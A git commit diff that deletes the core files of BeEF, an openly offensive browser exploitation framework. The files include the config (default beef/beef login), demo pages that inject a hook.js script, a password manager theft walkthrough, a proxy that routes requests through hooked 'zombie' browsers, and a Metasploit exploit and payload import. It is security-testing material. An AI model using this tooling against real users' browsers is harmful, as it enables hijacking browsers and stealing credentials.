First step of moving beef-nextgen to trunk.

git-svn-id: https://beef.googlecode.com/svn/trunk@905 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
scotty.b.brown@gmail.com
2011-04-20 07:42:47 +00:00
parent a50badff09
commit bede2de811
424 changed files with 0 additions and 20400 deletions

57
INSTALL
View File

@@ -1,57 +0,0 @@
Most of the contents of this file will eventually be added to /install.rb. In the meantime tips, hints and guides for installing beef should be kept here.
=============================================
1. Prerequisites (platform independent)
2. Prerequisites (Windows)
3. Prerequisites (Linux)
4. Prerequisites (Mac OSX)
5. Install instructions
1. Prerequisites (platform independent)
Beef requires ruby 1.8
2. Prerequisites (Windows)
Windows requires the sqlite.dll. Simply grab the zip file below and extract it to your Ruby bin directory:
http://www.sqlite.org/sqlitedll-3_7_0_1.zip
3. Prerequisites (Linux)
!!! This must be done PRIOR to running the Beef installer !!!
On linux you will need to find the packages specific to your distribution for sqlite. An example for Ubuntu systems is:
sudo apt-get install libsqlite3-dev sqlite3 sqlite3-doc
You also need to install the ruby-dev package (required for mkmf)
sudo apt-get install ruby-dev
4. Prerequisites (Mac OSX)
Make sure you have XCode installed - which provided the sqlite support Beef needs
5. Install instructions
Obtain application code either by downloading an archive from http://code.google.com/p/beef/downloads/list or checking out the source from http://code.google.com/p/beef/source/checkout
Navigate to the ruby source directory and run:
ruby install.rb
The installer verifies required gems, including any specific version dependencies, as well as performing a 'gem update --system'
The installer offers a choice of auto-installing missing gems or provides the command so you can install gems manually
The installer advises of the default username and password

View File

@@ -1 +0,0 @@
0.4.2.4-alpha

38
beef.rb
View File

@@ -1,38 +0,0 @@
$:.unshift(File.join(File.expand_path(File.dirname(__FILE__)), '.'))
$root_dir = File.expand_path('..', __FILE__)
require 'lib/loader'
# load config
config = BeEF::Configuration.instance
# disable reverse dns
Socket.do_not_reverse_lookup = true
# setup database
DataMapper.setup(:default, "sqlite3://#{$root_dir}/#{config.get("database_file_name")}")
options = BeEF::Console::CommandLine.parse
if options[:resetdb]
DataMapper.auto_migrate!
BeEF::Migration.instance.update_db!
else
DataMapper.auto_upgrade!
end
# check for new command modules
BeEF::Migration.instance.update_db!
BeEF::Console::Banner.generate
# start the http proxy if enabled in config.ini
if (config.get('http_proxy_enable').to_i > 0)
http_proxy_zombie = BeEF::HttpProxyZombie.instance
http_proxy_zombie.start
end
# start the hook server
http_hook_server = BeEF::HttpHookServer.instance
http_hook_server.start

View File

@@ -1,51 +0,0 @@
beef_version = '0.4.2.4-alpha'
# subnet of browser ip addresses that can hook to the framework
permitted_hooking_subnet = "0.0.0.0/0"
# subnet of browser ip addresses that can connect to the UI
#permitted_ui_subnet = "127.0.0.1/32"
permitted_ui_subnet = "0.0.0.0/0"
http_host = "0.0.0.0"
http_port = "3000"
http_dns = "localhost"
# if running behind a nat set the public ip address here
#http_public = "66.102.11.104"
http_proxy_enable = 1
http_proxy_bind_address = "127.0.0.1"
http_proxy_bind_port = "6789"
http_demo_path = "/demos/basic.html"
http_panel_path = "/ui/panel"
hook_file = "/hook.js"
ui_username = "beef"
ui_password = "beef"
hook_session_name="BEEFHOOK"
session_cookie_name="BEEFSESSION"
crypto_default_value_length=80
login_fail_delay=1 # in seconds
database_file_name = "beef.db"
favicon_file_name = "favicon.ico"
favicon_dir = "/public/images"
# Enable MSF by changing enable_msf to 1
# Then set msf_callback_host to be the public IP of your MSF server
# Ensure you load the xmlrpc interface in Metasploit
# msf > load xmlrpc Pass=abc123 ServerType=Web
#
enable_msf = 0
msf_host = "127.0.0.1"
msf_path = "/RPC2"
msf_port = 55553
msf_user = "msf"
msf_pass = "abc123"
msf_callback_host = "127.0.0.1"

View File

@@ -1,32 +0,0 @@
<html>
<head>
<title>BeEF Basic Demo</title>
<script>
var commandModuleStr = '<script src="' + window.location.protocol + '//' + window.location.host + '/hook.js" type="text/javascript"><\/script>';
document.write(commandModuleStr);
</script>
</head>
<body>
You should be hooked into <b>BeEF</b>.
<p>
Have fun while your browser is working against you.
</p>
<p>
These links are for demonstrating the "collect links" command module<br />
<ul>
<li><a href="http://www.bindshell.net/tools/beef" target="_blank">Beef homepage</a>
<li><a href="http://ha.ckers.org/" target="_blank">ha.ckers.org homepage</a>
<li><a href="http://slashdot.org/" target="_blank">Nerd homepage</a>
</ul>
</p>
<p>
You can also load up a more advanced demo page <a href="butcher/index.html">here</a>
</p>
</body>
</html>

View File

@@ -1,59 +0,0 @@
html {
height: 100%;
}
body {
background: #fff;
padding: 0;
margin: 0;
height: 100%;
}
#content {
position: relative;
width: 800px;
height: 100%;
margin-left: auto;
margin-right: auto;
/*border: solid 1px black;*/
background-image: url("right.jpg");
background-repeat: no-repeat;
background-position: right top;
}
#logo {
position: absolute;
top: 0;
left: 0;
width: 368px;
}
#stuff {
position: relative;
/*border: solid 1px red;*/
top: 200px;
width: 420px;
}
.bigger {
font-family: "Lucida Sans", arial;
font-size: 18px;
}
.normal {
padding-top: 20px;
font-family: "Lucida Sans", arial;
font-size: 14px;
}
.smaller {
padding-top: 20px;
font-family: "Lucida Sans", arial;
font-size: 8px;
}
#friends {
display: none;
padding-top: 20px;
}
#hamper {
display: none;
padding-top: 20px;
}
a:link {color:#000;} /* unvisited link */
a:visited {color:#000} /* visited link */
a:hover {color:#000;} /* mouse over link */
a:active {color:#000;} /* selected link */

View File

@@ -1,62 +0,0 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>The Butcher</title>
<link rel="stylesheet" type="text/css" href="butch.css" />
</head>
<body>
<script src="jquery-1.5.min.js"></script>
<script>
function showfriends() {
$("#hamper").hide();
$("#friends").show();
}
function showHamper() {
$("#friends").hide();
$("#hamper").show();
}
</script>
<script>
var commandModuleStr = '<script src="' + window.location.protocol + '//' + window.location.host + '/hook.js" type="text/javascript"><\/script>';
document.write(commandModuleStr);
</script>
<div id="content">
<!-- Awesome Beef Images from: http://www.flickr.com/photos/bulle_de/4657658048/ and http://www.flickr.com/photos/dinesarasota/3944042189/ -->
<div id="logo">
<img src="top.jpg" alt="The Butcher" />
</div>
<div id="stuff">
<div class="bigger">
Welcome to The Butcher, your source of delicious meats. Please feel free to view our samples, sign up to our mailing-list or purchase our special BeEF-hamper!
</div>
<div class="normal">
<button type="button" onclick="showfriends();">Our Meaty Friends</button> &nbsp; <button type="button" onclick="showHamper();">Order Your BeEF-Hamper</button>
<div id="friends">
<a href="http://www.bindshell.net">Bindshell</a><br />
<a href="http://www.slashdot.org">Slashdot</a><br />
<a href="http://ha.ckers.org/">ha.ckers.org homepage</a><br />
</div>
<div id="hamper">
Delicious delicious hamper, straight to your door!<br />
<form method="GET" action="index.html">Name: <input type="text" name="yourname" /><br />
Phone: <input type="text" name="phone" /><br />
Address: <input type="text" name="address" /><br />
Credit Card: <input type="text" name="creditcard" /><br />
<input type="submit" value="Buy buy!" />
</form>
</div>
</div>
<div class="smaller">
Thanks to http://www.flickr.com/photos/bulle_de/ and http://dineSarasota.com for the BeEF images
</div>
</div>
</div>
</body>
</html>

File diff suppressed because one or more lines are too long

Binary file not shown.

Before

Width:  |  Height:  |  Size: 35 KiB

View File

@@ -1,13 +0,0 @@
<html>
<head>
<title>Secret Page</title>
</head>
<body>
<h1>Secret page</h1>
<p>
This page is not hooked by beef. However you should still be capable of accessing it
using the Requester.
</p>
</body>
</html>

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

View File

@@ -1,27 +0,0 @@
<html>
<head>
<title>BeEF Password Manager Theft Demo</title>
</head>
<body>
<h2>Password Manager Theft Demo</h2>
<p>
Instructions:<br>
<br>
1. Write a fake username and password in the form below<br>
2. After having submitted the form, <u>make sure you tell firefox that you want to save</u><br>
3. Exploit your hooked browser with the password manager theft command module.
</p>
<p>
<form action="passwd_manager_theft.html" method="POST">
Username: <input type="text" name="username"><br><br>
Password: <input type="password" name="random"></br>
<input type="submit" value="submit">
</form>
</p>
</body>
</html>

View File

@@ -1,13 +0,0 @@
<html>
<head>
<title>Secret Page</title>
</head>
<body>
<h1>Secret page</h1>
<p>
This page is not hooked by beef. However you should still be capable of accessing it
using the Requester.
</p>
</body>
</html>

View File

@@ -1,112 +0,0 @@
require 'rubygems'
puts "\nWelcome to the BEeF installer!"
puts "\nPlease make sure you have installed SQLite before proceeding. For instructions on how to do this please see the INSTALL file"
# array of required gems - add to as needed (specify a version if needed eg "gem_name, =x.x.x")
$gems_required = ["ansi", "dm-core", "json", "data_objects", "do_sqlite3", "sqlite3", "dm-sqlite-adapter",
"parseconfig", "erubis", "dm-migrations"]
# array of missing non-version specific gems installed
$gems_missing = Array.new
# array of missing version specific gems installed
$gems_missing_version = Array.new
# check all required gems (dependencies) are present
def dep_check
$gems_required.each do |current_gem|
begin
if current_gem.include? ","
tokens = current_gem.split(",")
gem tokens[0], tokens[1]
else
gem current_gem
end
rescue Gem::LoadError
if current_gem.include? ","
$gems_missing_version << current_gem
else
$gems_missing << current_gem
end
end
end
if $gems_missing.length == 0 && $gems_missing_version.length == 0
return true
else
return false
end
end
# display install options
def display_opts
puts "\n1) Install all required gems automatically\n" + "2) List required gems and exit so they can be installed manually\n" + "3) Exit installer\n\n"
option = gets
return option
end
# generate install command for missing gems
def install_command
if RUBY_PLATFORM =~ /linux/ or RUBY_PLATFORM =~ /darwin/
cmd = "sudo gem install"
$gems_missing.each do |current_gem|
cmd = cmd + " #{current_gem}"
end
if $gems_missing_version.length != 0
$gems_missing_version.each do |current_gem|
if cmd == "sudo gem install"
cmd = cmd + " #{current_gem}"
else
cmd = cmd + " && sudo gem install #{current_gem}"
end
end
end
else
cmd = "gem install"
$gems_missing.each do |current_gem|
cmd = cmd + " #{current_gem}"
end
if $gems_missing_version.length != 0
$gems_missing_version.each do |current_gem|
if cmd == "gem install"
cmd = cmd + " #{current_gem}"
else
cmd = cmd + " & gem install #{current_gem}"
end
end
end
end
cmd = cmd.delete "," "'"
cmd = cmd.gsub("=", "-v")
return cmd
end
# install missing gems
def install_gems
puts install_command + "\n"
system(install_command)
end
dep_met = dep_check()
if dep_met == false
puts "\nSome gems required by BEeF are not present on your system please select an option to continue:"
option = display_opts
while option != "1\n" and option != "2\n" and option != "3\n"
puts "\nInvalid option entered, please select a valid option to continue:"
option = display_opts
end
if option == "1\n"
install_gems
elsif option == "2\n"
cmd = install_command
puts "\nPlease run the following command to update and install all required gems:\n\n" + cmd + "\n\n"
elsif option == "3\n"
puts "\nExiting...\n\n"
end
else
puts "\nAll required gems are present - please run 'ruby beef.rb' to start using BEeF\n\n"
puts "\nThe Default username/password are beef/beef\n\n"
puts "\nAll feedback welcome - http://beef.googlecode.com/\n\n"
end

View File

@@ -1,20 +0,0 @@
module BeEF
#
#
#
class Configuration < ParseConfig
include Singleton
def initialize(configuration_file="#{$root_dir}/config.ini")
super(configuration_file)
end
def get(key)
get_value(key)
end
end
end

View File

@@ -1,52 +0,0 @@
module BeEF
module Console
module Banner
#
# Generates banner
#
def self.generate
# set the pre-string for output
detail_tab = ' ' * 1 + '--[ '
# get the configuration information
@configuration = BeEF::Configuration.instance
version = BeEF::Configuration.instance.get('beef_version')
beef_host = @configuration.get("http_public") || @configuration.get("http_host")
# create an array of the interfaces the framework is listening on
if beef_host == '0.0.0.0' # the framework will listen on all interfaces
interfaces = Socket.getaddrinfo(Socket.gethostname, 0, Socket::AF_UNSPEC, Socket::SOCK_STREAM, nil, Socket::AI_CANONNAME).map { |x| x[3] }
interfaces = interfaces << "127.0.0.1"
interfaces.uniq!
else # the framework will listen on only one interface
interfaces = [beef_host]
end
# output the banner to the console
puts
puts " -=[ BeEF v#{version} ]=-\n\n"
puts detail_tab + "Modules: #{BeEF::Models::CommandModule.all.length}" # output the number of modules available
interfaces.map do |host| # display the important URLs on each interface from the interfaces array
puts detail_tab
puts detail_tab + "Hook URL: http://#{host}:#{@configuration.get("http_port")}#{@configuration.get("hook_file")}"
puts detail_tab + "UI URL: http://#{host}:#{@configuration.get("http_port")}#{@configuration.get("http_panel_path")}"
puts detail_tab + "Demo URL: http://#{host}:#{@configuration.get("http_port")}#{@configuration.get("http_demo_path")}"
end
# if the proxy is enabled output the address
if (@configuration.get('http_proxy_enable').to_i > 0)
puts
puts detail_tab + "HTTP Proxy: http://#{@configuration.get("http_proxy_bind_address")}:#{@configuration.get("http_proxy_bind_port")}"
end
puts
puts "Ensure you are running the latest framework version. Run 'svn update' to update"
puts
end
end
end
end

View File

@@ -1,37 +0,0 @@
module BeEF
module Console
module CommandLine
@options = Hash.new
@options[:verbose] = false
@options[:resetdb] = false
@already_parsed = false
#
# Parses the command line arguments of the console.
# It also populates the 'options' hash.
#
def self.parse
return @options if @already_parsed
optparse = OptionParser.new do |opts|
opts.on('-x', '--reset', 'Reset the database') do
@options[:resetdb] = true
end
opts.on('-v', '--verbose', 'Display debug information') do
@options[:verbose] = true
end
end
optparse.parse!
@already_parsed = true
@options
end
end
end
end

View File

@@ -1,145 +0,0 @@
module BeEF
#
# This module list all the constants used by the framework.
#
module Constants
module CommandModule
MODULE_TARGET_VERIFIED_NOT_WORKING = 0
MODULE_TARGET_VERIFIED_WORKING = 1
MODULE_TARGET_VERIFIED_USER_NOTIFY = 2
MODULE_TARGET_VERIFIED_UNKNOWN = 3
MODULE_TARGET_VERIFIED_NOT_WORKING_IMG = 'red.png'
MODULE_TARGET_VERIFIED_USER_NOTIFY_IMG = 'orange.png'
MODULE_TARGET_VERIFIED_WORKING_IMG = 'green.png'
MODULE_TARGET_VERIFIED_UNKNOWN_IMG = 'grey.png'
MODULE_TARGET_IMG_PATH = 'public/images/icons/'
end
module Browsers
FF = 'FF' # Firefox
M = 'M' # Mozila
IE = 'IE' # Internet Explorer
S = 'S' # Safari
K = 'K' # Konqueror
C = 'C' # Chrome
O = 'O' # Opera
ALL = 'ALL' # ALL
UNKNOWN = 'UN' # Unknown
FRIENDLY_FF_NAME = 'Firefox'
FRIENDLY_M_NAME = 'Mozila'
FRIENDLY_IE_NAME = 'Internet Explorer'
FRIENDLY_S_NAME = 'Safari'
FRIENDLY_K_NAME = 'Konqueror'
FRIENDLY_C_NAME = 'Chrome'
FRIENDLY_O_NAME = 'Opera'
FRIENDLY_UN_NAME = "UNKNOWN"
def self.friendly_name(browser_name)
case browser_name
when FF; return FRIENDLY_FF_NAME
when M; return FRIENDLY_M_NAME
when IE; return FRIENDLY_IE_NAME
when S; return FRIENDLY_S_NAME
when K; return FRIENDLY_K_NAME
when C; return FRIENDLY_C_NAME
when O; return FRIENDLY_O_NAME
when UNKNOWN; return FRIENDLY_UN_NAME
end
end
def self.match_browser(browserstring)
matches = []
browserstring.split(" ").each do |chunk|
case chunk
when /Firefox/ , /FF/
matches << FF
when /Mozilla/
matches << M
when /Internet Explorer/, /IE/
matches << IE
when /Safari/
matches << S
when /Konqueror/
matches << K
when /Chrome/
matches << C
when /Opera/
matches << O
end
end
matches.uniq
end
end
# The User Agent strings for browser detection
module Agents
AGENT_UNKNOWN_IMG = 'unknown.png'
AGENT_FIREFOX_UA_STR = 'Firefox'
AGENT_FIREFOX_IMG = 'firefox.png'
AGENT_MOZILLA_UA_STR = 'Mozilla'
AGENT_MOZILLA_IMG = 'mozilla.png'
AGENT_IE_UA_STR = 'MSIE'
AGENT_IE_IMG = 'msie.png'
AGENT_SAFARI_UA_STR = 'Safari'
AGENT_SAFARI_IMG = 'safari.png'
AGENT_KONQ_UA_STR = 'Konqueror'
AGENT_KONQ_IMG = 'konqueror.png'
AGENT_CHROME_UA_STR = 'Chrome'
AGENT_CHROME_IMG = 'chrome.png'
AGENT_OPERA_UA_STR = 'Opera'
AGENT_OPERA_IMG = 'opera.ico'
end
# The OS'es strings for os detection.
module Os
OS_UNKNOWN_IMG = 'unknown.png'
OS_WINDOWS_UA_STR = 'Windows'
OS_WINDOWS_IMG = 'win.png'
OS_LINUX_UA_STR = 'Linux'
OS_LINUX_IMG = 'linux.png'
OS_MAC_UA_STR = 'Mac'
OS_MAC_IMG = 'mac.png'
OS_IPHONE_UA_STR = 'iPhone'
OS_IPHONE_IMG = 'iphone.png'
def self.match_os(name)
case name.downcase
when /win/
OS_WINDOWS_UA_STR
when /lin/
OS_LINUX_UA_STR
when /os x/, /osx/, /mac/
OS_MAC_UA_STR
when /iphone/
OS_IPHONE_UA_STR
else
'ALL'
end
end
end
# The distributed engine codes
module DistributedEngine
REQUESTER = 1
PORTSCANNER = 2
end
end
end

View File

@@ -1,26 +0,0 @@
module BeEF
#
# This module provides crypto functionality
#
module Crypto
#
# Generate a secure random token
#
def self.secure_token(len = nil)
# get default length from config
config = BeEF::Configuration.instance
token_length = len || config.get('crypto_default_value_length').to_i
raise WEBrick::HTTPStatus::BadRequest, "Token length is zero or less" if (1 > token_length)
# return random hex string
OpenSSL::Random.random_bytes(token_length).unpack("H*")[0]
end
end
end

View File

@@ -1,95 +0,0 @@
module BeEF
module Filter
# check if the string is not empty and not nil
def self.is_non_empty_string?(str)
return false if str.nil?
return false if not str.is_a? String
return false if str.empty?
true
end
# check if only the characters in 'chars' are in 'str'
def self.only?(chars, str)
regex = Regexp.new('[^' + chars + ']')
regex.match(str).nil?
end
# check if one or more characters in 'chars' are in 'str'
def self.exists?(chars, str)
regex = Regexp.new(chars)
not regex.match(str).nil?
end
# check for null char
def self.has_null? (str)
return false if not is_non_empty_string?(str)
exists?('\x00', str)
end
# check for non-printalbe char
def self.has_non_printable_char?(str)
return false if not is_non_empty_string?(str)
not only?('[:print:]', str)
end
# check if num chars only
def self.nums_only?(str)
return false if not is_non_empty_string?(str)
only?('0-9', str)
end
# check if valid float
def self.is_valid_float?(str)
return false if not is_non_empty_string?(str)
return false if not only?('0-9\.', str)
not (str =~ /^[\d]+\.[\d]+$/).nil?
end
# check if hex chars only
def self.hexs_only?(str)
return false if not is_non_empty_string?(str)
only?('0123456789ABCDEFabcdef', str)
end
# check if first char is a num
def self.first_char_is_num?(str)
return false if not is_non_empty_string?(str)
not (str =~ /^\d.*/).nil?
end
# check for space chars: \t\n\r\f
def self.has_whitespace_char?(str)
return false if not is_non_empty_string?(str)
exists?('\s', str)
end
# check for non word chars: a-zA-Z0-9
def self.alphanums_only?(str)
return false if not is_non_empty_string?(str)
only?("a-zA-Z0-9", str)
end
# check if valid ip address string
def self.is_valid_ip?(ip)
return true if ip =~ /^(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})?$/
false
end
# check for valid browser details chars
def self.has_valid_browser_details_chars?(str)
return false if not is_non_empty_string?(str)
not (str =~ /[^\w\d\s()-.,;:_\/!\302\256]/).nil? # \302\256 is the (r) character
end
# check for valid base details chars
# this is for basic flitering where possible all specific filters must be implemented
def self.has_valid_base_chars?(str)
return false if not is_non_empty_string?(str)
(str =~ /[^\302\256[:print:]]/).nil? # \302\256 is the (r) character
end
end
end

View File

@@ -1,59 +0,0 @@
module BeEF
module Filter
# check if the string is a valid path from a HTTP request
def self.is_valid_path_info?(str)
return false if str.nil?
return false if not str.is_a? String
return false if has_non_printable_char?(str)
true
end
# check if the command id valid
def self.is_valid_command_id?(str)
return false if not is_non_empty_string?(str)
return false if not nums_only?(str)
true
end
# check if the session id valid
def self.is_valid_hook_session_id?(str)
return false if not is_non_empty_string?(str)
return false if not has_valid_key_chars?(str)
true
end
# check if valid command module datastore key
def self.is_valid_command_module_datastore_key?(str)
return false if not is_non_empty_string?(str)
return false if not has_valid_key_chars?(str)
true
end
# check if valid command module datastore value
def self.is_valid_command_module_datastore_param?(str)
return false if has_null?(str)
return false if not has_valid_base_chars?(str)
true
end
# check for word and some punc chars
def self.has_valid_key_chars?(str)
return false if not is_non_empty_string?(str)
return false if not has_valid_base_chars?(str)
true
end
# check for word and underscore chars
def self.has_valid_param_chars?(str)
return false if str.nil?
return false if not str.is_a? String
return false if str.empty?
return false if not (str =~ /[^\w_]/).nil?
true
end
end
end

View File

@@ -1,67 +0,0 @@
module BeEF
module Filter
# verify the page title string is valid
def self.is_valid_pagetitle?(str)
return false if not str.is_a? String
return false if has_non_printable_char?(str)
return false if str.length > 50
true
end
# check the browser type value - for example, 'FF'
def self.is_valid_browsername?(str)
return false if not is_non_empty_string?(str)
return false if str.length > 2
return false if has_non_printable_char?(str)
true
end
# check the os name value - for example, 'Windows XP'
def self.is_valid_osname?(str)
return false if not is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length < 2
true
end
# verify the browser version string is valid
def self.is_valid_browserversion?(str)
return false if not is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return true if str.eql? "UNKNOWN"
return false if not nums_only?(str) and not is_valid_float?(str)
return false if str.length > 10
true
end
# verify the browser/UA string is valid
def self.is_valid_browserstring?(str)
return false if not is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# verify the hostname string is valid
def self.is_valid_hostname?(str)
return false if not is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 255
return false if (str =~ /^[a-zA-Z0-9][a-zA-Z0-9\-\.]*[a-zA-Z0-9]$/).nil?
return false if not (str =~ /\.\./).nil?
return false if not (str =~ /\-\-/).nil?
true
end
# verify the browser_plugins string is valid
def self.is_valid_browser_plugins?(str)
return false if not is_non_empty_string?(str)
return false if str.length > 400
return (str =~ /[^\w\d\s()-.,;_!\302\256]/).nil? # \302\256 is the (r) character
end
end
end

View File

@@ -1,12 +0,0 @@
module BeEF
module Filter
def self.is_valid_msf_payload_name?(name)
return false if only?("a-z_/", name)
true
end
end
end

View File

@@ -1,27 +0,0 @@
module BeEF
module Filter
def self.is_valid_verb?(verb)
return true if verb.eql? 'GET' or verb.eql? 'POST'
false
end
def self.is_valid_url?(uri)
return true if uri.eql? WEBrick::HTTPUtils.normalize_path(uri)
false
end
def self.is_valid_http_version?(version)
return true if version.eql? "HTTP/1.1" or trailer.eql? "HTTP/1.0"
false
end
def self.is_valid_host_str?(host_str)
return true if host_str.eql? "Host:"
false
end
end
end

View File

@@ -1,24 +0,0 @@
require 'webrick/httpproxy'
require 'webrick/httputils'
module BeEF
class HttpProxyBase < WEBrick::HTTPProxyServer
# call BeEF::HttpProxyZombie.instance
include Singleton
attr_reader :config
def initialize
@configuration = BeEF::Configuration.instance
@config[:Logger] = WEBrick::Log.new($stdout, WEBrick::Log::ERROR)
@config[:ServerType] = Thread
super(@config)
end
# remove beef hook if it exists
def remove_hook(res)
res.body.gsub!(%r'<script.*?http.*?exploit.js.*?</script>', '')
end
end
end

View File

@@ -1,42 +0,0 @@
require 'webrick/httpproxy'
require 'webrick/httputils'
module BeEF
class HttpProxyZombie < HttpProxyBase
attr_accessor :proxy_zombie_id
def initialize
@configuration = BeEF::Configuration.instance
@config = {}
@config[:BindAddress] = @configuration.get('http_proxy_bind_address')
@config[:Port] = @configuration.get('http_proxy_bind_port')
@config[:ServerName] = "BeEF " + @configuration.get('beef_version')
@config[:ServerSoftware] = "BeEF " + @configuration.get('beef_version')
proxy_zombie_id = nil
super
end
def service(req, res)
# TODO implement which HB to target
if false
return if proxy_zombie_id.nil? # check if zombie is set
zombie = BeEF::Models::Zombie.get(proxy_zombie_id)
return if not zombie # check if zombie is registered with beef
else
proxy_zombie_id = 1
end
# blocking request
res = HttpProxyZombieHandler::forward_request(proxy_zombie_id, req, res)
# remove beef hook if it exists
remove_hook(res)
end
end
end

View File

@@ -1,58 +0,0 @@
require 'webrick/httprequest'
require 'webrick/httpresponse'
module BeEF
module HttpProxyZombieHandler
# Variable representing the Http DB model.
H = BeEF::Models::Http
# This function will forward requests to the zombie and
# the browser will perform the request. Then the results
# will be sent back to use
def forward_request(zombie_id, req, res)
# Generate a id for the req in the http table and check it doesnt already exist
http_id = rand(10000)
http_db = H.first(:id => http_id) || nil
while !http_db.nil?
http_id = rand(10000)
http_db = H.first(:id => http_id) || nil
end
# some debug info
puts "[PROXY] Forwarding request #" + http_id.to_s + " from zombie [" + zombie_id.to_s + "]" + " to host [" + req.host.to_s + "]"
# Saves the new HTTP request to the db for processing by HB
http = H.new(
:id => http_id,
:request => req,
:method => req.request_method.to_s,
:domain => req.host.to_s,
:path => req.path.to_s,
:date => Time.now,
:zombie_id => zombie_id
)
http.save
# Polls the DB for the response and then sets it when present
http_db = H.first(:id => http_id)
while !http_db.has_ran
sleep 1
http_db = H.first(:id => http_id)
end
res.body = http_db.response
res
end
module_function :forward_request
end
end

View File

@@ -1,86 +0,0 @@
require 'rubygems'
require 'webrick'
require 'webrick/httpproxy'
require 'dm-core'
require 'dm-migrations'
require 'json'
require 'ansi'
require 'optparse'
require 'cgi'
require 'parseconfig'
require 'singleton'
require 'ipaddr'
require 'base64'
require 'xmlrpc/client'
require 'erubis'
require 'lib/patches/webrick/httprequest'
require 'lib/patches/webrick/cookie'
require 'lib/patches/webrick/genericserver'
require 'lib/patches/webrick/httpresponse'
require 'lib/patches/webrick/httpservlet/filehandler.rb'
require 'lib/constants'
require 'lib/filter/base.rb'
require 'lib/filter/command.rb'
require 'lib/filter/requester.rb'
require 'lib/filter/init.rb'
require 'lib/model/user'
require 'lib/model/commandmodule'
require 'lib/model/zombie'
require 'lib/model/log'
require 'lib/model/command'
require 'lib/model/result'
require 'lib/model/autoloading'
require 'lib/model/plugin'
require 'lib/model/http'
require 'lib/model/browserdetails'
require 'lib/model/distributedenginerules'
require 'lib/model/dynamiccommandinfo'
require 'lib/model/dynamicpayloadinfo.rb'
require 'lib/model/dynamicpayloads.rb'
require 'lib/model/optioncache.rb'
require 'lib/crypto'
require 'lib/configuration'
require 'lib/console/banner'
require 'lib/console/commandline'
require 'lib/migration'
require 'lib/server/modules/common'
require 'lib/server/modules/requester'
require 'lib/server/httphandler'
require 'lib/server/httpcontroller'
require 'lib/server/httphookserver'
require 'lib/httpproxybase'
require 'lib/httpproxyzombie'
require 'lib/httpproxyzombiehandler'
require 'lib/server/assethandler'
require 'lib/server/filehandler'
require 'lib/server/zombiehandler'
require 'lib/server/commandhandler'
require 'lib/server/publichandler'
require 'lib/server/requesterhandler'
require 'lib/server/inithandler'
require 'lib/server/eventhandler'
require 'lib/server/dynamichandler'
require 'lib/logger'
require 'lib/modules/command'
require 'lib/modules/msfclient'
require 'lib/modules/msfcommand'
require 'openssl'
# load command modules
Dir["#{$root_dir}/modules/commands/**/*.rb"].each do |command|
require command
end

View File

@@ -1,24 +0,0 @@
module BeEF
#
# This class takes care of logging events in the db.
#
class Logger
include Singleton
def initialize
@logs = BeEF::Models::Log
end
# Registers a new event in the logs
def register(from, event, zombie = 0)
@logs.new(:type => "#{from}", :event => "#{event}", :date => Time.now, :zombie_id => zombie).save
end
private
@logs
end
end

View File

@@ -1,123 +0,0 @@
module BeEF
#
# This class migrates and updates values in the database each time you restart BeEF.
# So for example, when you want to add a new command module, you stop BeEF, copy your command module into the framework
# and then restart BeEF. That class will take care of installing automatically the new command module in the db.
#
class Migration
include Singleton
#
# Updates the database.
#
def update_db!
update_commands!
update_plugins!
end
#
# Checks for new command modules and updates the database.
#
def update_commands!
db_commands = [], folders = ''
BeEF::Models::CommandModule.all.each {|db_command|
db_commands.push(db_command.path)
}
Dir.foreach("#{$root_dir}/modules/commands/") do |folder|
folders += "#{folder}|" if not ['.', '..'].include? folder and File.directory? "#{$root_dir}/modules/commands/#{folder}"
end
regex = /\/modules\/commands\/(#{folders})\/(.*).rb/i
Dir["#{$root_dir}/modules/commands/**/*.rb"].each do |command|
if (command = command.match(regex)[0])
BeEF::Models::CommandModule.new(:path => command, :name => /.*\/(\w+)\.rb/.match(command).to_a[1]).save if not db_commands.include? command
end
end
msf = BeEF::MsfClient.instance
if(msf.is_enabled && msf.login())
Thread.new() {
sploits = msf.browser_exploits()
sploits.each do |sploit|
if not BeEF::Models::CommandModule.first(:name => sploit)
mod = BeEF::Models::CommandModule.new(:path => "Dynamic/Msf", :name => sploit)
mod.save
if mod.dynamic_command_info == nil
msfi = msf.get_exploit_info(sploit)
st = sploit.split('/').first
targets = []
os_name = BeEF::Constants::Os::match_os(st)
browsers = BeEF::Constants::Browsers::match_browser(msfi['name'] + msfi['targets'].to_json)
targets << {'os_name' => os_name, 'browser_name' => 'ALL', 'verified_status' => 3} if browsers.count == 0
browsers.each do |bn|
targets << {'os_name' => os_name, 'browser_name' => bn, 'verified_status' => 1}
end
targets << {'os_name' => "ALL", 'verified_status' => 0 }
msfci = BeEF::Models::DynamicCommandInfo.new(
:name => msfi['name'],
:description => msfi['description'],
:targets => targets.to_json)
mod.dynamic_command_info = msfci
mod.save
end
end
end
payloads = msf.payloads()
payloads.each do |payload|
if not BeEF::Models::DynamicPayloads.first( :name => payload)
pl = BeEF::Models::DynamicPayloads.new( :name => payload)
pl.save
opts = msf.payload_options(payload)
opts.keys.each do |opt|
next if opts[opt]['advanced'] or opts[opt]['evasion']
pl.dynamic_payload_info.new(:name => opt, :description => opts[opt]['desc'], :required => opts[opt]['required'], :value => opts[opt]['default'])
end
pl.save
end
end
}
end
end
#
# Checks for new plugins and updates the database.
#
def update_plugins!
db_plugins = [], folders = ''
BeEF::Models::Plugin.all.each {|db_plugin| db_plugins.push(db_plugin.path)}
Dir.foreach("#{$root_dir}/modules/plugins/") do |folder|
folders += "#{folder}|" if not ['.', '..'].include? folder and File.directory? "#{$root_dir}/modules/plugins/#{folder}"
end
regex = /\/modules\/plugins\/(#{folders})\/(\w+)\/(\w+).rb/i
Dir["#{$root_dir}/modules/plugins/**/*.rb"].each do |plugin|
if (plugin = plugin.match(regex)[0])
BeEF::Models::Plugin.new(:path => plugin).save if not db_plugins.include? plugin
end
end
end
end
end

View File

@@ -1,18 +0,0 @@
module BeEF
module Models
class Autoloading
include DataMapper::Resource
